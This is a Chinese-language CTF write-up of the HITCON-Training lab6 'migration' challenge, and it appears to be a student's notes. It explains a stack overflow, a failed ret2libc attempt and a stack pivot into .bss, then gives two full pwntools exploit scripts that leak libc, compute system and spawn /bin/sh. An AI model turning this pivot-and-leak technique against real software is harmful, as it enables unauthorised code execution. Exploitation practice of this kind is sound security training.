migration
第一次
- 漏洞
棧溢出
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsIyZuBnLzAjMyADMzYTMxEzNwkTMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
這裡的buf溢出了0x40-0x28 個位元組
checksec比較友好,沒有開位址随機化。
- 解決
是一個ret2libc的題目,傳回到puts列印libc_start_main的got表位址,确定libc的版本。
這裡有一個問題就是我不知道這個count如果在我傳回到libc_start_main的話是不是會被初始化,我先試一下。
然後計算system和/bin/sh, 傳回到這裡。
不行。因為這個libc的基址是後面計算才知道的,沒法提前就寫進去。
第二次
不是這麼搞的= =,好累。
正确的思路是棧遷移。
-
漏洞
還是棧溢出啊。判斷是棧遷移的原因有幾點
- 因為count那個地方其實是一個hint,告訴你ret2libc是行不通的。
- 能夠構造成payload的長度是0x40-0x28其實隻有0x18太短了。
- 因為system的位址是算出來的,是以要多次輸入,也就是多次傳回到read,但是不能直接傳回到main函數裡面,是以說需要直接傳回到read,并且多次通過read再一次棧溢出控制程式流程,是以需要控制棧的位址。但是實在程式加載的時候你是沒法确定棧位址的[反正我現在不可以确定],于是就是棧遷移!
-
思路
棧遷移的基本思路是用leave;ret;
leave;ret;
mov %ebp,%esp pop %ebp pop %eip
這樣就可以把esp劫持走。
這道題可以把棧遷移到bss。權限和大小是夠的。
過程
-
第一次系統自帶的read棧溢出需要列印基址以及實作棧遷移。選擇bss段一個中間位置,瞎選一個bss+0x500
棧的構造應該是
esp junk data ...... ebp bss+0x500 put_plt pop1ret libc_start_main_got read_plt leave_ret 0 bss+0x500 0x100
-
第二次的棧溢出需要輸入/bin/sh,然後執行system。
棧的構造是
pop1ret和pop3ret:esp/ebp bss+0x400 read_plt pop3ret 0 bss+0x400 0x100 system_addr 0xdeadbeef bss+0x400(bin_sh_addr)
暑假集訓——Hitcon_Trainning——lab6_migration——棧遷移migration 錯誤: 第一次不能實作這麼多功能,他隻有0x18個資料,payload長度超了。
是以要把他分成兩次
- 第一次
esp junk data ... ... ebp bss+0x500 read_plt leave_ret 0 bss+0x500 0x100
- 第二次
esp/ebp bss+0x400 put_plt pop1ret libc_start_main_got read_plt leave_ret 0 bss+0x400 0x100
- 第三次
esp/ebp bss+0x500 read_plt pop3ret 0 bss+0x500 0x100 system_addr 0xdeadbeef bss+0x500
-
exp
from pwn import *
from LibcSearcher import *
context.log_level='debug'
sh=process('./migration')
elf=ELF("./migration")
pause()
libc_start_main_got=elf.got['__libc_start_main']
puts_plt=elf.plt['puts']
read_plt=elf.plt['read']
bss_addr=elf.bss()
pop1ret=0x0804836d
pop3ret=0x08048569
leave_ret=0x08048418
offset=0x28
#------------move stack-----------
payload=flat(['A'*offset,bss_addr+0x500,read_plt,leave_ret,0,bss_addr+0x500,0x100])
sh.sendafter("best :\n",payload)
#-----------leak libc base-------
payload=flat([bss_addr+0x400,puts_plt,pop1ret,libc_start_main_got,read_plt,leave_ret,0,bss_addr+0x400,0x100])
sh.send(payload)
libc_start_main_addr=u32(sh.recv()[0:4])
print 'libc_start_main_got---------->{:x}'.format(libc_start_main_addr)
libc=LibcSearcher('__libc_start_main',libc_start_main_addr)
libcbase=libc_start_main_addr-libc.dump('__libc_start_main')
system_addr=libcbase+libc.dump('system')
print 'system----------------------->{:x}'.format(system_addr)
#---------get shell---------------
payload=flat([bss_addr+0x500,read_plt,pop3ret,0,bss_addr+0x500,0x100,system_addr,0xdeadbeef,bss_addr+0x500])
sh.send(payload)
sh.send('/bin/sh\x00')
sh.interactive()
sh.close()
後記
本來想用libcsearch找/bin/sh的位址直接傳回,但是誰能想到他太不争氣了,和本機的libc版本不同導緻不知道找了個啥東西,也不知道system是怎麼找對的。
還被師傅罵一通TAT還diss我代碼寫的醜TAT
這裡有一個trick,libc=elf.libc,然後就不用導入libc了。
from pwn import *
context.log_level = 'debug'
sh = process('./migration')
elf = ELF("./migration")
libc = elf.libc
context.binary = "./migration"
libc_start_main_got = elf.got['__libc_start_main']
puts_plt = elf.plt['puts']
read_plt = elf.plt['read']
bss_addr = elf.bss()
pop1ret = 0x0804836d
pop3ret = 0x08048569
leave_ret = 0x08048418
offset = 0x28
#------------move stack-----------
payload=flat(['A'*offset,bss_addr+0x500,read_plt,leave_ret,0,bss_addr+0x500,0x100])
sh.sendafter("best :\n",payload)
#-----------leak libc base-------
payload=flat([bss_addr+0x400,puts_plt,pop1ret,libc_start_main_got,read_plt,leave_ret,0,bss_addr+0x400,0x100])
sh.send(payload)
libc_start_main_addr=u32(sh.recvn(4))
print 'libc_start_main_addr---------->{:x}'.format(libc_start_main_addr)
libc.address = libc_start_main_addr - libc.sym['__libc_start_main']
system_addr=libc.sym['system']
bin_sh_addr=libc.search('/bin/sh').next()
# pause()
print 'system----------------------->{:x}'.format(system_addr)
#---------get shell---------------
payload=flat([bss_addr+0x500,system_addr,0xdeadbeef,bin_sh_addr])
sh.send(payload)
sh.interactive()
sh.close()